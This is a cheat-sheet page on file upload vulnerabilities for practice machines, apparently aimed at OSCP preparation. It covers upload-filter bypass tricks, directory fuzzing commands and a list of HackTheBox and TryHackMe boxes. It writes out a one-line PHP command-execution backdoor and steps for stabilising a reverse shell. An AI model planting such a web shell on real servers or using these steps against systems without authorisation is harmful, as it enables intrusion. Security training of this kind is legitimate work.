File Upload Vulnerabilities: practice machines and key commands

By Daniel Dayan ยท Updated

Upload features become a foothold when the server stores attacker-controlled content where it can be executed. Check the allowed extensions, then try alternates such as .phtml, .php5, double extensions, case changes and null-byte style tricks, and test whether the content type or magic bytes are validated. A GIF header followed by PHP code often passes naive checks. Find where files land with directory fuzzing or by reading source, and confirm that the directory executes scripts. If execution is blocked, uploads can still enable stored XSS, path traversal through the filename or overwriting configuration such as .htaccess. After getting a web shell, upgrade it to a proper reverse shell. The boxes below each rely on an upload weakness or a related web shell step.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Minimal PHP Single-Line Backdoor

Lightweight PHP command execution backdoor for quick web root persistence.

echo '<?php system($_GET["cmd"]); ?>' > shell.php

ffuf Directory & Endpoint Fuzzing

High-speed directory enumeration with auto-calibrated filtering and extension recursion.

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://{TARGET_IP}/FUZZ -e .php,.html,.txt,.bak,.js -ac -mc 200,301,302,403

Gobuster Fast Directory Busting

Standard Go-based multithreaded directory search.

gobuster dir -u http://{TARGET_IP}/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,sh,json -t 40 -b 404

TTY Interactive Shell Stabilization (Python + stty)

Upgrade dumb reverse shell to fully interactive pseudo-terminal with tab completion and arrow keys.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background shell
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 140

Keep going

File Upload Vulnerabilities machines (9)

8 of these are machines I solved myself and are listed first within each difficulty. 5 Linux, 4 Windows.

Listed when a machine has a catalog tag that is one of: file upload, upload, unrestricted file upload, web shell. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

File Upload Vulnerabilities at a glance

Very Easy (1)

MachinePlatformOSTags
BaseFile UploadPHPType JugglingHTBLinuxFile Upload, PHP, Type Juggling

Easy (8)

MachinePlatformOSTags
Bank IppSecSUIDHTBLinuxEditor-mapped, SUID
Devel IppSecHTBWindowsEditor-mapped
Grandpa IppSecCVE-2017-7269HTBWindowsEditor-mapped, CVE-2017-7269
Granny IppSecCVE-2017-7269HTBWindowsEditor-mapped, CVE-2017-7269
Jerry IppSecBasic-script-debuggingHTBWindowsEditor-mapped, Basic-script-debugging
Nibbles IppSecExploiting-NOPASSWDHTBLinuxEditor-mapped, Exploiting-NOPASSWD
RootMeFile UploadSUID-PythonTHMLinuxFile Upload, SUID-Python
OpenSource IppSecFile UploadDirectory-TraversalPivotingHTBLinuxFile Upload, Directory-Traversal, Pivoting

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.